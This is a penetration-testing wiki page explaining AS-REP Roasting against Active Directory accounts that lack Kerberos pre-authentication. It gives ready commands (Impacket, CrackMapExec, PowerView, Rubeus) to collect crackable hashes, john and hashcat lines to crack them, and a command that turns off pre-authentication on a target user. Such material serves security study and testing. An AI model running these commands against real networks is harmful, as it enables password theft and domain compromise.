Bebzounette
  • Bebzounettes
  • Active Directory
    • Recon
      • TCP/UDP
      • DNS
      • NetBIOS
      • RPC
      • LDAP
      • HTTP
      • Responder
      • ADRecon
      • BloodHound
      • Network Shares
      • Password Policy
      • Enumeration
        • Domain
        • Powerview
        • .NET Classes
    • Lateral movement
      • Code execution
        • PSExec
        • SMBExec
        • WMIexec / WMI
        • ATExec / SchTaskExec
        • 🚧DCOMExec / DCOM
        • Powershell Remoting - WinRM
        • Crackmapexec
        • Service Control (SC)
      • Credentials
        • Finding
          • Guessing
          • Bruteforce
          • Spraying
        • Dumping
          • SAM Base
          • LSA Secrets
          • LSASS Process
          • DPAPI secrets
          • NTDS.DIT
          • Group Policy Preferences
          • User description
        • Impersonnification
        • Cracking
      • Coercition
        • MS-RPRN (PrinterBug)
        • MS-EFSR (PetitPotam)
        • MS-DFSNM (DFSCoerce)
        • MS-FSRVP (ShadowCoerce)
        • WebClient (WebDAV)
      • Relay
      • Kerberos
        • Kerberoasting
        • AS-REP Roasting
        • 🚧Pass the Hash/Ticket
        • 🚧MSSQL Trusted Links
        • Forged Tickets
        • 🚧Delegations
          • Unconstrained Delegation
          • Constrained Delegation
          • (RBCD) Resource-Based Constrained
      • GPOs
      • DACL
      • Certificates Service (AD-CS)
      • Privileged Groups
        • DNS Admin
        • Backup Operator
      • Built-in Misconfigurations
        • PASSWD_NOTREQD
        • DONT_EXPIRE_PASSWORD
        • MachineAccountQuota
        • LAPS
      • CVEs
        • EternalBlue | MS17-010
        • Zerologon (CVE-2020-1472)
        • SamTheAdmin (CVE-2021-42278)
        • Certifried: (CVE-2022–26923)
    • 🚧Persistance & Exfiltration
      • Golden Ticket
      • Silver Ticket
      • Skeleton Key
      • DSRM
      • Custom SSP
      • AdminSDHolder
    • 🚧Cross Trust Attack
      • Across Domain
      • Across Forest
    • References
  • Systems
    • 🚧Windows
      • Informations d'identifications
      • Configuration des services
    • 🚧Linux
    • 🚧Mobile & IOT
  • Web
    • CheckList & Méthodologie
    • 🚧Pentest API
    • 🚧Wordpress
    • 🚧Jenkins
    • 🚧IIS Server
  • Applicatives vulnerabilities
    • Buffer-Overflow
  • Thick Client
    • Thick Client Methodology
  • Wireless Security
    • WIFI
    • 🚧ZIGBEE
    • 🚧ZWAVE
    • GNU-RADIO
  • Network
    • Modèle OSI & Adressage IPV4
    • 🚧DOS & DDOS
    • VOIP
  • Physical Access
    • 🚧Lock Picking
    • Matériels
    • Accès physique à un ordinateur
  • Forensic
    • Outils de Forensic
  • Information gathering
    • Scans
  • Services
    • Echo - 7
    • FTP - 21
    • SSH - 22
    • Telnet - 23
    • SMTP - 25/465/587
    • Whois - 43
    • Finger - 79
    • POP3 - 110
    • NTP - 123
    • MSRPC - 135/593
    • IMAP - 143
    • SMB - 445
    • RDP -3389
    • References
  • Github Repos
    • Repos Github
      • Windows
      • Pivoting
      • SQL Server
      • Web
      • Active Directory
  • Blog
    • Guide to NTLMv1 attacks
    • Local Privilege Escalation through ShadowCredentials
    • Resource Based Constrained Delegation in Active Directory
  • Contact
Powered by GitBook
On this page
  • Cracking :
  • RedTeam POV:
  • References :

Was this helpful?

  1. Active Directory
  2. Lateral movement
  3. Kerberos

AS-REP Roasting

PreviousKerberoastingNextPass the Hash/Ticket

Last updated 1 year ago

Was this helpful?

When requesting a TGT, the user must, by default, authenticate himself to the KDC (Key Distribution Center) for it to respond. This is known as Kerberos pre-authentication, meaning that a user will send an encrypted timestamp with his Kerberos key to the KDC in the AS-REQ message (to request a TGT).

When we talk about the notion of TGT, it's often a misnomer, as we're actually talking about the KRB_AS_REP, which contains the TGT (encrypted with the KDC's secret) and the session key (encrypted with the user account's secret).

As part of the KDC response is encrypted with the client account secret (the session key), it is important that this information is not accessible without authentication. If this were the case, anyone could request a TGT for a given account, and attempt to decrypt the encrypted part of the KRB_AS_REP response to retrieve the targeted user's password.

However, on rare occasions, Kerberos pre-authentication may be disabled for an account (the DONT_REQUIRE_PREAUTH attribute is checked). As a result, pre-authentication is no longer required for these accounts, allowing an attacker to abuse this configuration.

Thus, anyone can impersonate these accounts by sending an AS-REQ message, and an AS-REP response will be returned by the KDC with data encrypted with the user's hash.

Once in possession of the KRB_AS_REP KDC response, the attacker can attempt to break the hash of this offline password and thus obtain the targeted victim's password in cleartext.

The AS_REP Roasting attack consists in identifying users without the required Kerberos pre-authentication and sending an AS-REQ request on their behalf, in order to retrieve the data element encrypted with the user hash in the AS-REP message. Once the data has been retrieved, an offline cracking attack is carried out in an attempt to recover the user's password.

It is important to note that pre-authentication is enabled by default and must be disabled manually.

python GetNPUsers.py <DOMAIN>/<USERNAME>:<PASSWORD> -request -format hashcat -outputfile hashes_asreproast.txt
cme ldap <IP> -u <USERNAME> -p '<PASSWORD>' --asreproast hashes_asreproast.txt
Get-DomainUser -PreauthNotRequired -verbose 
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes_asreproast.txt

Cracking :

john --wordlist=passwords_kerb.txt hashes_asreproast.txt
hashcat -m 18200 --force -a 0 hashes_asreproast.txt passwords_kerb.txt

RedTeam POV:

With sufficient rights (GenericAll/GenericWrite) an attacker can force the "pre-authentication not required" on a user :

Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose

References :

Impacket :
CrackMapExec :
PowerView :
Rubeus :
Attacking Active Directory: 0 to 0.9 | zer1t0
Logo
ASREProastThe Hacker Recipes
AS_REP Roastinghackndo
GitHub - HarmJ0y/ASREPRoast: Project that retrieves crackable hashes from KRB5 AS-REP responses for users without kerberoast preauthentication enabled.GitHub
Logo
Logo
Logo